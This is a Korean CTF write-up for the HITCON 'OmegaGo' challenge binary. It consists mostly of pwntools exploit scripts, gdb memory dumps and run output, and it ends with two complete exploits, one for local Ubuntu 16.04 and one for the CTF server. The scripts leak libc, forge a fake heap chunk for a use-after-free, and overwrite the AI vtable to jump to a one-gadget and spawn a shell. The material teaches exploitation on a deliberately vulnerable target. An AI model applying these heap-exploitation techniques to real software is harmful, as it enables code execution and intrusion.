0x609fc0:	0x0000000000000000	0x0000000000000031
0x609fd0:	0x0000000001c88f70	0x0000000001c83880
0x609fe0:	0x0000000000000000	0x0000000000000000
0x609ff0:	0x33bb5de964b6f848	0x0000000000000091
0x60a000:	0x00007f4b7d233b78	0x00007f4b7d233b78
0x60a010:	0x0000000000000000	0x0000000000000000
gdb-peda$ 
  • 다음 코드를 이용할 수 있습니다.
Leak libc address
from pwn import *
 
#context.log_level = 'debug'
 
col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']
 
p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')

def Play(location):
    p.recvuntil('\n\n')
    p.sendline(location)
 
 
def readBoard():
    global board
    board = []
    p.recvline()
    for line in range(0,19):
    	p.recv(3)
        board.append(p.recvuntil('\n')[0:19])
 
def surrender():
    p.recvuntil('\n\n')
    p.sendline('surrender')
    p.recvuntil('Play history? (y/n)')
    p.sendline('n')
    p.recvuntil('Play again? (y/n)')
    p.sendline('y')
 
def Fill(colStart, colEnd, row):
    for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
    	locate = str(col_list[colNum])
        locate += str(row)
        Play(locate)
 
def decode(offset):
    bit_offset = offset * 8
    data = ''.join(board)
    result = 0
    for i in xrange(32):
        states = '.OX\0'
        val = states.index(data[bit_offset + i])
        result |= val << (i * 2)
    return result
 
def LeakAddress():
    readBoard()
    return decode(0)
 
def LeakLibcAddress():
    readBoard()
    return decode(32)
  
#Memory reconstruction   
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)

#Leak LibcAddress
p.recvuntil('\n\n')
p.sendline('D19')
p.recvuntil('\n\n')
p.sendline('regret')

libcAddress = LeakLibcAddress()
libcBaseAddress = libcAddress - 0x3c4b78
execve_bash = libcBaseAddress + 0xF1117 

log.info('Libc Address : ' + hex(libcAddress))
log.info('Libc Base Address : ' + hex(libcBaseAddress))
log.info('execve bash Address : ' + hex(execve_bash))


p.interactive()

Create a UAF vulnerability(Fake chunk)

  • 앞에서 설명한 취약성을 이용해 UAF 취약성을 만들 수 있습니다.
    • 공격 대상은 AI Class의 vtable 입니다.
    • OmegaGo() 함수에서 AI Class의 vtable 공간으로 8 byte를 요청하고 있습니다.
      • 해당 Chunk의 크기는 0x20이 됩니다.
      • Chunk header(0x10) + Base heap area(0x10)
    • 즉, UAF취약성을 생성하기 위해서 0x20 byte의 fake chunk가 필요합니다.
omegaGo
...
  AI = (Method *)operator new(8uLL);
  AI->Play = 0LL;
  setAIFunction(AI);
  player[0] = AI;
  HUMAN = (Method *)operator new(8uLL);
  HUMAN->Play = 0LL;
  setHUMANFunction(HUMAN);
...
  • 다음과 같은 구조로 Fake chunk를 생성할 수 있습니다.
    • 해당 바이너리의 취약성을 이용해 아래 조건을 만족하는 Fake chunk address를 gHistory[365]영역에 저장합니다.
      • Fake chunk의 size가 0x20
      • Fake chunk의 next chunk(next_size) 영역에 값이 있어야 함.
Fake chunk struct

0x00x8
0x0000000000000000000000000000000000
0x1000000000000000000000000000000020
0x2000000000000000000000010000000000
0x3000000000000000000000000000000020
0x4000000000000000000000000000000000
0x500000000000000000next_size
0x600000000900000009000000000000004F
0x7040665799D0203E644066800000000000
0x8000000000000000000000000000000031
  • 아래 스크립트를 이용해 Fake chunk의 기본 모형을 만들수 있습니다.
Create a Fake chunk
...

#Memory reconstruction
surrender()
surrender()
surrender()
surrender()
surrender()
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)

#Fake Chunk
Play('D14')
Play('R8')

Fill('A','I',10)

p.interactive()
  • 다음과 같이 Fake chunk를 확인 할 수 있습니다.
    • 182번 위치 값을 입력해 gPlayerGameInfo 전역 변수에 Heap address(0xac6010)가 저장되었습니다.
    • Heap 영역에 Fakechunk가 구현 되어있습니다.
Run script
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ python test.py 
[!] Could not find executable 'omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' in $PATH, using './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' instead
[+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': pid 7625
[*] Libc Address : 0x7ff0339f6b78
[*] Libc Base Address : 0x7ff033632000
[*] execve bash Address : 0x7ff0337186bd
[*] Switching to interactive mode
   ABCDEFGHIJKLMNOPQRS
19 ..O...XO.\x00XX.......
18 ...................
17 ...................
16 ...................
15 ...................
14 ...X...............
13 ...................
12 .O.................
11 XXXXXXXXXXXXXXXXXXX
10 XXXXXXXXXOOOOOOOOOO
 9 OOOOOOOOOOOOOOOOOOO
 8 .................X.
 7 ...................
 6 ...............O...
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 179.85

$ 
Fake chunk
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q -p 7625
Attaching to process 7625
Reading symbols from /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
Reading symbols from /usr/lib/x86_64-linux-gnu/libstdc++.so.6...(no debugging symbols found)...done.
Reading symbols from /lib/x86_64-linux-gnu/libgcc_s.so.1...(no debugging symbols found)...done.
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.23.so...done.
done.
Reading symbols from /lib/x86_64-linux-gnu/libm.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libm-2.23.so...done.
done.
Reading symbols from /lib64/ld-linux-x86-64.so.2...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/ld-2.23.so...done.
done.
0x00007f25b8a7d230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	../sysdeps/unix/syscall-template.S: No such file or directory.

gdb-peda$ x/4gx 0x609FC0
0x609fc0:	0x0000000000ac6010	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000020
gdb-peda$ x/20gx 0x0000000000ac6010
0xac6010:	0x0000000000000000	0x0000000000000000
0xac6020:	0x0000000000000000	0x0000000000000020
0xac6030:	0xaaaa000000001000	0x555555aaaaaaaaaa
0xac6040:	0x0000000155555555	0x0000000000000020
0xac6050:	0x0000000000001000	0x0000000000000000
0xac6060:	0x0000000000000000	0x0000000000000000
0xac6070:	0x0000000a00000009	0x500001000000004f
0xac6080:	0x40667febca5375c7	0x40667b29ac365450
0xac6090:	0x0000000000000000	0x000000000000df71
0xac60a0:	0x0000000000000000	0x0000000000000000
gdb-peda$ c
Continuing.
  • 다음과 같이 gPlayerGameInfo 전역 변수에 저장된 Heap address(0xac6010)를 변경되었습니다.

    • 위치 값으로 변경 가능한 Heap address의 bit 영역은 다음과 같습니다. 

      • 1010 1100 0110 0000 0001 0000

    • 다음과 같이 값을 변경합니다.

      • 1010 1100 0110 0010 1001 0000

      • 위치 값 : D19, E19

    • 사용자가 입력한 값 D19, E19에 의해 gPlayerGameInfo.board[0]에 저장된 값이 0xac6290 으로 변경되었습니다.

      • 0xac6290 영역은 GameInfo.board[9] 영역입니다.
Position value
$ D19
   ABCDEFGHIJKLMNOPQRS
19 ..OX..OX.XXX.......

...

Time remain: O: 180.00, X: 154.17

$ E19
   ABCDEFGHIJKLMNOPQRS
19 ..OXX.OX.XXX.......

...
Time remain: O: 180.00, X: 151.96

$ 
The value of "gPlayerGameInfo.board [0]" has been changed.
^C
Program received signal SIGINT, Interrupt.
0x00007f25b8a7d230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	in ../sysdeps/unix/syscall-template.S
gdb-peda$ x/4gx 0x609FC0
0x609fc0:	0x0000000000ac6290	0x0000000000ac60d0
0x609fd0:	0x0000000000ac6190	0x0000000000ac6250
gdb-peda$ x/20gx 0x0000000000ac6290 - 0x10
0xac6280:	0x0000000155555555	0x0000000000000020
0xac6290:	0x0000000000001000	0x0000000000000000
0xac62a0:	0x0000000000000000	0x0000000000000400
0xac62b0:	0x0000000400000000	0x5000010000000058
0xac62c0:	0x40667febb1290256	0x4060b9413db7f173
0xac62d0:	0xb02c3b6be73a708c	0x0000000000000031
0xac62e0:	0xc6d1f75f00000000	0x0000000000abbc90
0xac62f0:	0x0000000000000000	0x0000000000000000
0xac6300:	0x6c0eb26d35c354ca	0x0000000000000091
0xac6310:	0x0000000000ac6290	0x0000000000ac60d0
gdb-peda$ 
  • 다음과 같이 Fake chunk에 AI의 vtable공간이 할당됩니다.
    • UAF를 확인하기 위해  다음과 같이 Break point를 설정합니다.
Break point
gdb-peda$ b *0x401761
Breakpoint 1 at 0x401761
gdb-peda$ c
Continuing.
  • "surrender" 를 입력하고 게임을 재시작하면 다음과 같이 Heap 영역이 변경됩니다.

    • 변경된 heap address에 의해 Fake chunk는 fastbins에 추가 되었습니다.

    • AI의 vtable을 저장 할 Heap 영역을 요청하면 fastbins에 등록되었던 Fake chunk(0xac6290)가 할당됩니다.
    • 이로 인해 AI vtable(0xac6290) 영역에 board[]의 정보를 덮어쓸 수 있습니다.
Input "surrender"
$ surrender
This AI is too strong, ah?
Play history? (y/n)
$ n
Play again? (y/n)
$ y
   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 180.00

$ 


UAF(AI vtable)
Breakpoint 1, 0x0000000000401761 in ?? ()
gdb-peda$ p main_arena.fastbinsY 
$1 = {0xac6280, 0xab8a40, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
gdb-peda$ ni
0x0000000000401766 in ?? ()
gdb-peda$ i r rax
rax            0xac6290	0xac6290
gdb-peda$ p main_arena.fastbinsY 
$2 = {0x0, 0xab8a40, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
gdb-peda$ x/4gx 0xac6290
0xac6290:	0x0000000000000000	0x0000000000000000
0xac62a0:	0x0000000000000000	0x0000000000000400
gdb-peda$ c
Continuing.
^C
Program received signal SIGINT, Interrupt.
0x00007ff033729230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	in ../sysdeps/unix/syscall-template.S
gdb-peda$ x/4gx 0xac6290
0xac6290:	0x0000000000405040	0x0000000000000000
0xac62a0:	0x0000000000000000	0x0000000000000400
gdb-peda$ x/gx 0x0000000000405040
0x405040:	0x000000000040290a
gdb-peda$ x/10i 0x000000000040290a
   0x40290a:	push   rbp
   0x40290b:	mov    rbp,rsp
   0x40290e:	sub    rsp,0x150
   0x402915:	mov    QWORD PTR [rbp-0x128],rdi
   0x40291c:	mov    QWORD PTR [rbp-0x130],rsi
   0x402923:	mov    DWORD PTR [rbp-0x134],edx
   0x402929:	mov    QWORD PTR [rbp-0x140],rcx
   0x402930:	mov    QWORD PTR [rbp-0x148],r8
   0x402937:	mov    rax,QWORD PTR fs:0x28
   0x402940:	mov    QWORD PTR [rbp-0x8],rax
gdb-peda$
  • 다음과 같이 스크립트에 코드를 추가합니다.
Add script code
#0xXXXX010 -> 0xxxxx290
Play('D19')
Play('E19')

surrender()

Overwrite the vtable

  • 다음과 같이 AI vtable을 덮어쓸 수 있습니다.

    • AI vtable영역에서 호출 할 함수의 주소가 저장된 영역의 주소가 저장된 곳은 GameInfo.board[9] 으로 덮어쓰여 집니다.

    • 해당 영역에 저장 할 주소는 gCmd 전역 변수 + 4(0x60943C + 0x4 = 0x609440) 입니다. 

  • 해당 정보를 이용해 다음과 같은 위치 값을 생성할 수 있습니다.

    • 위치 값 : D14, E14, G14, R15, A5, Q6

    • GameInfo.board[9] 영역에 0x609440이 저장되었습니다.

Save 0x609440
Q6
   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 .................XO
14 ..OXX.X............
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ............O.OOX..
 5 XO.................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 162.59


gdb-peda$ x/20gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000000
0x609fd0:	0x1800000000000000	0x00000000000008a4
0x609fe0:	0x0000000000000000	0x0000010000000000
0x609ff0:	0x0000000000000000	0x0000000000000000
0x60a000:	0x0000000000609440	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
0x60a020:	0x0000000200000005	0x000000000000004f
0x60a030:	0x40667fffaa044ae6	0x406452c1871e6cd3
0x60a040:	0x0000000000000000	0x0000000000000000
0x60a050:	0x0000000000000000	0x0000000000000000
gdb-peda$ 
  • 다음과 같이 스크립트에 코드를 추가합니다.
Add script code
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)


#vtable Overflow
Play('D14')
Play('E14')
Play('G14')
Play('R15')
Play('A5')
Play('Q6')

Fill('A','E',19) 
sleep(20)
Play('F19|'+p64(execve_bash))
  • 다음과 같이 변경된 vtable 정보를 확인 할 수 있습니다.
    • AI vtable 영역은 0x1a37290 이며, 해당 영역에 gCmd 전역 변수(+4)의 주소가 저장되어 있습니다.
    • gCmd 전역 변수 +4(0x609440) 영역에는 One gadget의 주소 값이 저장되어 있습니다.

    • 해당 주소는 rax에 저장되어 호출되며, shell을 획득하게 됩니다.

Get shell!
lazenca0x0@ubuntu:~$ gdb -q -p 59695
Attaching to process 59695
Reading symbols from /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
Reading symbols from /usr/lib/x86_64-linux-gnu/libstdc++.so.6...(no debugging symbols found)...done.
Reading symbols from /lib/x86_64-linux-gnu/libgcc_s.so.1...(no debugging symbols found)...done.
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.23.so...done.
done.
Reading symbols from /lib/x86_64-linux-gnu/libm.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libm-2.23.so...done.
done.
Reading symbols from /lib64/ld-linux-x86-64.so.2...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/ld-2.23.so...done.
done.

gdb-peda$ b *0x4017D0
Breakpoint 1 at 0x4017d0
gdb-peda$ c
Continuing.

Breakpoint 1, 0x00000000004017d0 in ?? ()
gdb-peda$ x/13i $rip
=> 0x4017d0:	mov    rax,QWORD PTR [rbp+rax*8-0x30]
   0x4017d5:	mov    rax,QWORD PTR [rax]
   0x4017d8:	mov    rax,QWORD PTR [rax]
   0x4017db:	mov    edx,DWORD PTR [rbp-0x5c]
   0x4017de:	sub    edx,0x1
   0x4017e1:	movsxd rdx,edx
   0x4017e4:	mov    rdi,QWORD PTR [rbp+rdx*8-0x30]
   0x4017e9:	lea    rsi,[rbp-0x60]
   0x4017ed:	lea    rcx,[rbp-0x64]
   0x4017f1:	mov    edx,DWORD PTR [rbp-0x5c]
   0x4017f4:	mov    r8,rsi
   0x4017f7:	mov    esi,0x609fc0
   0x4017fc:	call   rax
gdb-peda$ i r rax
rax            0x0	0x0
gdb-peda$ i r rbp
rbp            0x7ffdb99059e0	0x7ffdb99059e0
gdb-peda$ p/x 0x7ffdb99059e0 - 0x30
$1 = 0x7ffdb99059b0
gdb-peda$ x/gx 0x7ffdb99059b0
0x7ffdb99059b0:	0x0000000001a37290
gdb-peda$ x/gx 0x0000000001a37290
0x1a37290:	0x0000000000609440
gdb-peda$ x/gx 0x0000000000609440
0x609440:	0x00007f10d2973117
gdb-peda$ x/5i 0x00007f10d2973117
   0x7f10d2973117 <exec_comm+2263>:	mov    rax,QWORD PTR [rip+0x2d2d9a]        # 0x7f10d2c45eb8
   0x7f10d297311e <exec_comm+2270>:	lea    rsi,[rsp+0x70]
   0x7f10d2973123 <exec_comm+2275>:	lea    rdi,[rip+0x9bbed]        # 0x7f10d2a0ed17
   0x7f10d297312a <exec_comm+2282>:	mov    rdx,QWORD PTR [rax]
   0x7f10d297312d <exec_comm+2285>:	call   0x7f10d294e770 <execve>
gdb-peda$ b *0x4017fc
Breakpoint 2 at 0x4017fc
gdb-peda$ c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
gdb-peda$ i r rax
rax            0x7f10d2973117	0x7f10d2973117
gdb-peda$ c
Continuing.
process 59695 is executing new program: /bin/dash

Exploit Code

Ubuntu 16.04.3 LTS

Exploit(Ubuntu 16.04.3 LTS).py
from pwn import *
 
#context.log_level = 'debug'
 
col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']
 
p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')

def Play(location):
    p.recvuntil('\n\n')
    p.sendline(location)
 
 
def readBoard():
    global board
    board = []
    p.recvline()
    for line in range(0,19):
    	p.recv(3)
        board.append(p.recvuntil('\n')[0:19])
 
def surrender():
    p.recvuntil('\n\n')
    p.sendline('surrender')
    p.recvuntil('Play history? (y/n)')
    p.sendline('n')
    p.recvuntil('Play again? (y/n)')
    p.sendline('y')
 
def Fill(colStart, colEnd, row):
    for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
    	locate = str(col_list[colNum])
        locate += str(row)
        Play(locate)
 
def decode(offset):
    bit_offset = offset * 8
    data = ''.join(board)
    result = 0
    for i in xrange(32):
        states = '.OX\0'
        val = states.index(data[bit_offset + i])
        result |= val << (i * 2)
    return result
 
def LeakAddress():
    readBoard()
    return decode(0)
 
def LeakLibcAddress():
    readBoard()
    return decode(32)
  
#Memory reconstruction   
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)

#Leak LibcAddress
p.recvuntil('\n\n')
p.sendline('D19')
p.recvuntil('\n\n')
p.sendline('regret')

libcAddress = LeakLibcAddress()
libcBaseAddress = libcAddress - 0x3c4b78
execve_bash = libcBaseAddress + 0xF1117 

log.info('Libc Address : ' + hex(libcAddress))
log.info('Libc Base Address : ' + hex(libcBaseAddress))
log.info('execve bash Address : ' + hex(execve_bash))

#Memory reconstruction
surrender()
surrender()
surrender()
surrender()
surrender()
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)

#Fake Chunk
Play('D14')
Play('R8')

Fill('A','I',10)

#0xXXXX010 -> 0xxxxx290
Play('D19')
Play('E19')

#UAF
surrender()

#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)

#vtable Overflow
Play('D14')
Play('E14')
Play('G14')
Play('R15')
Play('A5')
Play('Q6')

Fill('A','E',19) 
Play('F19|'+p64(execve_bash))
 
p.interactive()

CTF server

Exploit.py
from pwn import *
 
#context.log_level = 'debug'
 
col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']
 
p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')
 
def Play(location):
    p.recvuntil('\n\n')
    p.sendline(location)
 
 
def readBoard():
    global board
    board = []
    p.recvline()
    for line in range(0,19):
    	p.recv(3)
        board.append(p.recvuntil('\n')[0:19])
 
def surrender():
    p.recvuntil('\n\n')
    p.sendline('surrender')
    p.recvuntil('Play history? (y/n)')
    p.sendline('n')
    p.recvuntil('Play again? (y/n)')
    p.sendline('y')
 
def Fill(colStart, colEnd, row):
    for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
    	locate = str(col_list[colNum])
        locate += str(row)
        Play(locate)
 
def decode(offset):
    bit_offset = offset * 8
    data = ''.join(board)
    result = 0
    for i in xrange(32):
        states = '.OX\0'
        val = states.index(data[bit_offset + i])
        result |= val << (i * 2)
    return result
 
def LeakAddress():
    readBoard()
    return decode(0)
 
def LeakLibcAddress():
    readBoard()
    return decode(32)
  
#Memory reconstruction   
surrender()
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)
 
#Leak LibcAddress
p.recvuntil('\n\n')
p.sendline('D19')
p.recvuntil('\n\n')
p.sendline('regret')

libcAddress = LeakLibcAddress()
libcBaseAddress = libcAddress - 0x3be7b8
execve_bash = libcBaseAddress + 0xe66bd
 
log.info('Libc Address : ' + hex(libcAddress))
log.info('Libc Base Address : ' + hex(libcBaseAddress))
log.info('execve bash Address : ' + hex(execve_bash))

#Memory reconstruction
surrender()
surrender()
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
 
#Fake Chunk
Play('D14')
Play('R8')
 
#0xXXXX410 -> 0xxxxx550
Fill('A','I',10)
Play('P1')
Play('O1')

surrender()

#Fill out to board 
Fill('B','S',6)
for line in range(15,20):
    Fill('A','S',line)
Play('A6')
 
#vtable Overflow
Play('B7')
Play('S8')
Play('R8')
Play('C12')
Play('F12')
Play('M8')
 
for line in range(16,19):
    Fill('A','S',line)
 
Fill('A','E',15)
sleep(20) 
Play('F15|'+p64(execve_bash))
 
p.interactive()

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